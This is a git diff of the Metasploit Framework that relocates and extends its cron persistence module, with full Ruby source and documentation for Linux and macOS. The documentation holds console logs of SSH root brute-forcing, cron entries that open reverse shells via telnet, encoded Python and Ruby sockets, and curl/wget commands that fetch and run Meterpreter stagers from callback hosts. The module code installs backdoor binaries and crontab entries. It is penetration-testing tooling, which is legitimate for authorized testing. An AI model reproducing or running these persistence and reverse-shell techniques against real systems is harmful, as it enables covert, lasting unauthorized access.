diff --git a/documentation/modules/exploit/linux/local/cron_persistence.md b/documentation/modules/exploit/linux/local/cron_persistence.md deleted file mode 100644 index 985e1bb9db90d..0000000000000 --- a/documentation/modules/exploit/linux/local/cron_persistence.md +++ /dev/null @@ -1,144 +0,0 @@ -### Creating A Testing Environment - -This module has been tested against: - -1. Kali Rolling - -## Verification Steps - - 1. Start msfconsole - 2. Exploit a box via whatever method - 4. Do: `use exploit/linux/local/cron_persistence` - 5. Do: `set session #` - 6. Do: `set target #` - 7. Do: `set verbose true` - 8. Optional Do: `set username` (depends on target selection) - 9. Optional Do: `set cleanup false` - 10. Do: `exploit` - -## Options - - **username** - - Set a specific user's crontab if target 'User Crontab' is selected - - **timing** - - Set cron's timing. Default is to run within a minute. If this is changed, WfsDelay should be adjusted to compensate - - **cleanup** - - After the delayed period, use either perl (User/System Crontab) or standard MSF functionality to remove the cron entry. **THIS WILL STOP THE PERSISTENCE!!!** - -## Scenarios - -### Kali Rolling (root) - -Initial Access - - msf > use auxiliary/scanner/ssh/ssh_login - msf auxiliary(ssh_login) > set username root - username => root - msf auxiliary(ssh_login) > set password password - password => password - msf auxiliary(ssh_login) > set rhosts 10.10.60.168 - rhosts => 10.10.60.168 - msf auxiliary(ssh_login) > exploit - - [*] 10.10.60.168:22 SSH - Starting bruteforce - [+] 10.10.60.168:22 SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux ' - [*] Command shell session 1 opened (10.10.60.168:50618 -> 10.10.60.168:22) at 2016-06-20 09:48:14 -0400 - [*] Scanned 1 of 1 hosts (100% complete) - [*] Auxiliary module execution completed - -Run our module (Cron) - - msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence - msf exploit(cron_persistence) > set session 1 - session => 1 - msf exploit(cron_persistence) > set verbose true - verbose => true - msf exploit(cron_persistence) > set target 0 - target => 0 - msf exploit(cron_persistence) > exploit - - [*] Started reverse double handler - [*] Max line length is 65537 - [*] Writing 152 bytes in 1 chunks of 518 bytes (octal-encoded), using printf - [+] Writing * * * * * root sh -c '(sleep 3867|telnet 10.10.60.168 4444|while : ; do sh && break; done 2>&1|telnet 10.10.60.168 4444 >/dev/null 2>&1 &)' #bAeBQqUYeb to /etc/cron.d/FiThkldAZR - [*] Waiting 90sec for callback - [*] Accepted the first client connection... - [*] Accepted the second client connection... - [*] Command: echo xPBXQvodQdzgByKR; - [*] Writing to socket A - [*] Writing to socket B - [*] Reading from sockets... - [*] Reading from socket A - [*] A: "xPBXQvodQdzgByKR\r\n" - [*] Matching... - [*] B is input... - [*] Command shell session 2 opened (10.10.60.168:4444 -> 10.10.60.168:45087) at 2016-06-20 13:04:02 -0400 - [+] Deleted /etc/cron.d/FiThkldAZR - -Run our module (System Crontab) - - msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence - msf exploit(cron_persistence) > set payload cmd/unix/reverse_python - payload => cmd/unix/reverse_python - msf exploit(cron_persistence) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(cron_persistence) > set session 1 - session => 1 - msf exploit(cron_persistence) > set verbose true - verbose => true - msf exploit(cron_persistence) > set target 2 - target => 2 - msf exploit(cron_persistence) > set cleanup false - cleanup => false - msf exploit(cron_persistence) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Max line length is 65537 - [*] Writing 1326 bytes in 1 chunks of 4969 bytes (octal-encoded), using printf - [+] Writing * * * * * root python -c "exec('aW1wb3J0IHNvY2tldCAgICwgICAgICAgc3VicHJvY2VzcyAgICwgICAgICAgb3MgICAgICAgOyAgICAgaG9zdD0iMTkyLjE2OC4xOTkuMTI4IiAgICAgICA7ICAgICBwb3J0PTQ0NDQgICAgICAgOyAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgLCAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgIDsgICAgIHMuY29ubmVjdCgoaG9zdCAgICwgICAgICAgcG9ydCkpICAgICAgIDsgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgICAgICAgMCkgICAgICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAgICAgICAxKSAgICAgICA7ICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsICAgICAgIDIpICAgICAgIDsgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))" #SnwfsUhNys to /etc/crontab - [*] Waiting 90sec for callback - [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:54837) at 2016-06-20 13:24:01 -0400 - -And since we didn't clean up, if our session dies... - - ^C - Abort session 2? [y/N] y - - [*] 10.10.60.168 - Command shell session 2 closed. Reason: User exit - msf exploit(cron_persistence) > use exploit/multi/handler - msf exploit(handler) > set payload cmd/unix/reverse_python - payload => cmd/unix/reverse_python - msf exploit(handler) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(handler) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Starting the payload handler... - [*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.128:54842) at 2016-06-20 13:27:01 -0400 - -Run our module (User Crontab) - - msf exploit(cron_persistence) > set payload cmd/unix/reverse_ruby - payload => cmd/unix/reverse_ruby - msf exploit(cron_persistence) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(cron_persistence) > set session 1 - session => 1 - msf exploit(cron_persistence) > set verbose true - verbose => true - msf exploit(cron_persistence) > set target 1 - target => 1 - msf exploit(cron_persistence) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Max line length is 65537 - [*] Writing 1247 bytes in 1 chunks of 4566 bytes (octal-encoded), using printf - [+] Writing * * * * * ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.199.128","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' #IiWAtaIrHs to /var/spool/cron/crontabs/root - [*] Reloading cron to pickup new entry - [*] Waiting 90sec for callback - [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:55031) at 2016-06-20 14:22:01 -0400 diff --git a/documentation/modules/exploit/multi/persistence/cron.md b/documentation/modules/exploit/multi/persistence/cron.md new file mode 100644 index 0000000000000..6c92085e6f4a6 --- /dev/null +++ b/documentation/modules/exploit/multi/persistence/cron.md @@ -0,0 +1,213 @@ +## Vulnerable Application + +This module will create a cron or crontab entry to execute a payload. +The module includes the ability to automatically clean up those entries to prevent multiple executions. +syslog will get a copy of the cron entry. + +Verified on Ubuntu 22.04.1, MacOS 13.7.4 + +## Verification Steps + +1. Start msfconsole +2. Exploit a box via whatever method +3. Do: `use exploit/multi/persistence/cron` +4. Do: `set session #` +5. Do: `set target #` +6. Optional Do: `set username` (depends on target selection) +7. Do: `exploit` + +## Options + +### USERNAME + +Set a specific user's crontab if target 'User Crontab' is selected + +### TIMING + +Set cron's timing. Default is to run within a minute. Defaults to `* * * * *` + +### PAYLOAD_NAME + +If using a non-cmd/fetch payload, the name of the payload file. Defaults to random. + +## Scenarios + +### MacOS 13.7.4 + +Initial access via web delivery + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 8 +target => 8 +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload payload/osx/x64/meterpreter/reverse_tcp +payload => osx/x64/meterpreter/reverse_tcp +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > exploit +[-] Msf::OptionValidateError One or more options failed to validate: LHOST. +[*] Exploit completed, but no session was created. +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set lhost 111.111.1.111 +lhost => 111.111.1.111 +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > exploit +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] Started reverse TCP handler on 0.0.0.0:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +curl -sk --output 4aJvtPCb http://111.111.1.111:8181/l; chmod +x 4aJvtPCb; ./4aJvtPCb& disown +[*] Transmitting first stager...(214 bytes) +[*] Transmitting second stager...(49152 bytes) +[*] Sending stage (815032 bytes) to 172.17.0.3 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 172.17.0.3:49171) at 2025-02-17 17:14:43 -0500 +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... +(Meterpreter 1)(/Users/macos) > sysinfo +Computer : 20.20.20.21 +OS : macOS Ventura (macOS 13.7.4) +Architecture : x86 +BuildTuple : x86_64-apple-darwin +Meterpreter : x64/osx +(Meterpreter 1)(/Users/macos) > getuid +Server username: macos +(Meterpreter 1)(/Users/macos) > background +[*] Backgrounding session 1... +``` + +Due to networking issues, persistence payload is a cmd to touch a file. + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/cron +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set target 2 +target => 2 +[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set payload payload/osx/x64/exec +payload => osx/x64/exec +[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set cmd "/usr/bin/touch /Users/macos/executed_demo" +cmd => /usr/bin/touch /Users/macos/executed_demo +[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set AllowNoCleanup true +AllowNoCleanup => true +[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set user macos +user => macos +[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set writabledir /Users/macos +writabledir => /Users/macos +[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > exploit +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) > +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found +[*] Writing backdoor to /Users/macos/nGnXw +[*] Writing '/Users/macos/nGnXw' (17204 bytes) ... +[*] Utilizing crontab since we can't write to /var/at/tabs/ +[+] Payload will be triggered when cron time is reached +[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) > sessions -i 1 +[*] Starting interaction with 1... +(Meterpreter 1)(/Users/macos) > ls +Listing: /Users/macos +===================== +Mode Size Type Last modified Name +---- ---- ---- ------------- ---- +100400/r-------- 7 fil 2025-02-17 09:22:02 -0500 .CFUserTextEncoding +040700/rwx------ 64 dir 2025-02-17 09:23:29 -0500 .Trash +100600/rw------- 4057 fil 2025-02-17 12:46:46 -0500 .viminfo +100600/rw------- 1291 fil 2025-02-17 17:11:33 -0500 .zsh_history +040700/rwx------ 256 dir 2025-02-17 17:11:33 -0500 .zsh_sessions +100755/rwxr-xr-x 815032 fil 2025-02-17 12:23:58 -0500 2gXD9pz +040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Desktop +040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Documents +040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Downloads +040700/rwx------ 2464 dir 2025-02-17 11:17:13 -0500 Library +040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Movies +040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Music +040700/rwx------ 128 dir 2025-02-17 11:14:18 -0500 Pictures +040755/rwxr-xr-x 128 dir 2025-02-17 09:21:18 -0500 Public +100644/rw-r--r-- 0 fil 2025-02-17 17:19:00 -0500 executed_demo +100700/rwx------ 17204 fil 2025-02-17 17:18:27 -0500 nGnXw +``` + +### Ubuntu 22.04.1 + +Initial access via web delivery + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO xKgxaWNl --no-check-certificate http://111.111.1.111:8181/l; chmod +x xKgxaWNl; ./xKgxaWNl& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.22 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.22:47100) at 2025-02-17 17:36:07 -0500 +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... +(Meterpreter 1)(/home/ubuntu) > getuid +Server username: ubuntu +(Meterpreter 1)(/home/ubuntu) > sysinfo +Computer : 222.222.2.22 +OS : Ubuntu 22.04 (Linux 5.15.0-48-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/home/ubuntu) > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/cron +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > rexploit +[*] Reloading module... +[*] Command to run on remote host: curl -so ./yMuAETldii http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./yMuAETldii;./yMuAETldii& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) > +[*] Fetch handler listening on 111.111.1.111:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found +[*] Utilizing crontab since we can't write to /var/spool/cron/crontabs +[+] Payload will be triggered when cron time is reached +[*] Client 222.222.2.22 requested /Hg3DGEu9GqlWD06kh4AzFg +[*] Sending payload to 222.222.2.22 (curl/7.81.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.22 +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:43108) at 2025-02-17 17:38:02 -0500 +[msf](Jobs:2 Agents:2) exploit(multi/persistence/cron) > +``` \ No newline at end of file diff --git a/modules/exploits/linux/local/cron_persistence.rb b/modules/exploits/linux/local/cron_persistence.rb deleted file mode 100644 index 7a3edb69296c4..0000000000000 --- a/modules/exploits/linux/local/cron_persistence.rb +++ /dev/null @@ -1,139 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Local - Rank = ExcellentRanking - - include Msf::Post::File - include Msf::Post::Unix - include Msf::Exploit::FileDropper - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Cron Persistence', - 'Description' => %q{ - This module will create a cron or crontab entry to execute a payload. - The module includes the ability to automatically clean up those entries to prevent multiple executions. - syslog will get a copy of the cron entry. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'h00die ' - ], - 'Platform' => ['unix', 'linux'], - 'Targets' => [ - [ 'Cron', { :path => '/etc/cron.d' } ], - [ 'User Crontab', { :path => '/var/spool/cron' } ], - [ 'System Crontab', { :path => '/etc' } ] - ], - 'DefaultTarget' => 1, - 'Arch' => ARCH_CMD, - 'Payload' => { - 'BadChars' => "#%\x10\x13", # is for comments, % is for newline - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python' - } - }, - 'DefaultOptions' => { 'WfsDelay' => 90 }, - 'DisclosureDate' => '1979-07-01', - 'Notes' => { - 'Reliability' => UNKNOWN_RELIABILITY, - 'Stability' => UNKNOWN_STABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS - } # Version 7 Unix release date (first cron implementation) - ) - ) - - register_options( - [ - OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']), - OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']), - OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true]) - ], self.class - ) - end - - def exploit - # https://gist.github.com/istvanp/310203 for cron regex validator - cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+' - cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+' - cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+' - cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+' - cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s* - # cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?' - unless datastore['TIMING'] =~ /#{cron_regex}/ - fail_with(Failure::BadConfig, 'Invalid timing format') - end - cron_entry = datastore['TIMING'] - if target.name.include? 'User Crontab' - unless user_cron_permission?(datastore['USERNAME']) - fail_with(Failure::NoAccess, 'User denied cron via cron.deny') - end - else - cron_entry += " #{datastore['USERNAME']}" - end - flag = Rex::Text.rand_text_alpha(10) - cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later - case target.name - when 'Cron' - our_entry = Rex::Text.rand_text_alpha(10) - write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n") - vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}") - if datastore['CLEANUP'] - register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}") - end - when 'System Crontab' - file_to_clean = "#{target.opts[:path]}/crontab" - append_file(file_to_clean, "\n#{cron_entry}\n") - vprint_good("Writing #{cron_entry} to #{file_to_clean}") - when 'User Crontab' - file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}" - append_file(file_to_clean, "\n#{cron_entry}\n") - vprint_good("Writing #{cron_entry} to #{file_to_clean}") - # at least on ubuntu, we need to reload cron to get this to work - vprint_status('Reloading cron to pickup new entry') - cmd_exec("service cron reload") - end - print_status("Waiting #{datastore['WfsDelay']}sec for execution") - Rex.sleep(datastore['WfsDelay'].to_i) - # we may need to do some cleanup, no need for cron since that uses file dropper - # we could run this on a on_successful_session, but we want cleanup even if it fails - if file_to_clean && flag && datastore['CLEANUP'] - print_status("Removing our cron entry from #{file_to_clean}") - cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new") - cmd_exec("mv #{file_to_clean}.new #{file_to_clean}") - # replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed - if target.name == 'User Crontab' # make sure we clean out of memory - cmd_exec("service cron reload") - end - end - end - - def user_cron_permission?(user) - # double check we're allowed to do cron - # may also be /etc/cron.d/ - paths = ['/etc/', '/etc/cron.d/'] - paths.each do |path| - cron_auth = read_file("#{path}cron.allow") - if cron_auth - if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/ - vprint_good("User located in #{path}cron.allow") - return true - end - end - cron_auths = read_file("#{path}cron.deny") - if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/ - vprint_error("User located in #{path}cron.deny") - return false - end - end - # no guidance, so we should be fine - true - end -end diff --git a/modules/exploits/multi/persistence/cron.rb b/modules/exploits/multi/persistence/cron.rb new file mode 100644 index 0000000000000..ab11d127e30c2 --- /dev/null +++ b/modules/exploits/multi/persistence/cron.rb @@ -0,0 +1,187 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::EXE # for generate_payload_exe + include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/cron_persistence' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Cron Persistence', + 'Description' => %q{ + This module will create a cron or crontab entry to execute a payload. + The module includes the ability to automatically clean up those entries to prevent multiple executions. + syslog will get a copy of the cron entry. + Verified on Ubuntu 22.04.1, MacOS 13.7.4 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die ' + ], + 'Platform' => ['unix', 'linux', 'osx'], + 'Targets' => [ + [ 'Cron', { path: '/etc/cron.d' } ], + [ 'User Crontab', { path: '/var/spool/cron/crontabs' } ], + [ 'OSX User Crontab', { path: '/var/at/tabs/' } ], + [ 'System Crontab', { path: '/etc/crontab' } ] + ], + 'DefaultTarget' => 1, + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'DisclosureDate' => '1979-07-01', # Version 7 Unix release date (first cron implementation) + 'Payload' => { + 'BadChars' => "#%\x10\x13" # is for comments, % is for newline + }, + 'References' => [ + ['ATT&CK', Mitre::Attack::Technique::T1053_003_CRON] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + + register_options( + [ + OptString.new('USER', [false, 'User to run cron/crontab as', ''], conditions: ['Targets', 'in', ['User Crontab', 'OSX User Crontab']]), + OptString.new('TIMING', [false, 'Cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']), + OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']), + ] + ) + end + + def check + # https://gist.github.com/istvanp/310203 for cron regex validator + cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+' + cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+' + cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+' + cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+' + cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s* + # cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?' + + return CheckCode::Unknown('Invalid timing format') unless datastore['TIMING'] =~ /#{cron_regex}/ + + return CheckCode::Safe("#{target.opts[:path]} doesn't exist") unless exists?(target.opts[:path]) + # it may not be directly writable, but we can use crontab to write it for us + if !writable?(target.opts[:path]) && !command_exists?('crontab') + return CheckCode::Safe("Can't write to: #{target.opts[:path]} or crontab not found") + end + + if target.name == 'User Crontab' && !user_cron_permission?(target_user) + return CheckCode::Unknown('User denied cron via cron.deny') + end + + CheckCode::Appears('Cron timing is valid, no cron.deny entries found') + end + + def target_user + return datastore['USER'] unless datastore['USER'].blank? + + whoami + end + + def user_cron_permission?(user) + # double check we're allowed to do cron + # may also be /etc/cron.d/ + paths = ['/etc/', '/etc/cron.d/'] + paths.each do |path| + if readable?("#{path}cron.allow") + cron_auth = read_file("#{path}cron.allow") + if cron_auth && (cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/) + vprint_good("User located in #{path}cron.allow") + return true + end + end + next unless readable?("#{path}cron.deny") + + cron_auths = read_file("#{path}cron.deny") + if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/ + vprint_error("User located in #{path}cron.deny") + return false + end + end + # no guidance, so we should be fine + true + end + + def install_persistence + cron_entry = datastore['TIMING'] + cron_entry += " #{target_user}" unless ['User Crontab', 'OSX User Crontab'].include?(target.name) + if payload.arch.first == 'cmd' + cron_entry += " #{payload.encoded}" + else + file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) + backdoor = "#{writable_dir}/#{file_name}" + vprint_status("Writing backdoor to #{backdoor}") + upload_and_chmodx backdoor, generate_payload_exe + cron_entry += " #{backdoor}" + end + + case target.name + when 'Cron' + our_entry = Rex::Text.rand_text_alpha(8..15) + write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n") + vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}") + @clean_up_rc << "rm #{target.opts[:path]}/#{our_entry}\n" + + when 'System Crontab' + file_to_clean = target.opts[:path].to_s + crontab_backup = store_crontab_backup(file_to_clean, 'system crontab backup') + + append_file(file_to_clean, "\n#{cron_entry}\n") + vprint_good("Writing #{cron_entry} to #{file_to_clean}") + @clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n" + + when 'User Crontab', 'OSX User Crontab' + path = target.opts[:path] + if !writable?(path) + print_status("Utilizing crontab since we can't write to #{path}") + cmd_exec("echo \"#{cron_entry}\" | crontab -") + else + file_to_clean = "#{path}/#{target_user}" + + crontab_backup = store_crontab_backup(file_to_clean, 'user crontab backup') + append_file(file_to_clean, "\n#{cron_entry}\n") + vprint_good("Writing #{cron_entry} to #{file_to_clean}") + # at least on ubuntu, we need to reload cron to get this to work + vprint_status('Reloading cron to pickup new entry') + + cmd_exec('service cron reload') if target.name == 'User Crontab' + @clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n" + end + end + print_good('Payload will be triggered when cron time is reached') + end + + def store_crontab_backup(path, desc) + crontab_backup_content = read_file(path) + location = store_loot("crontab.#{path.split('/').last}", + 'text/plain', session, crontab_backup_content, + path.split('/').last, desc) + vprint_good("Backed up #{path} to #{location}") + location + end +end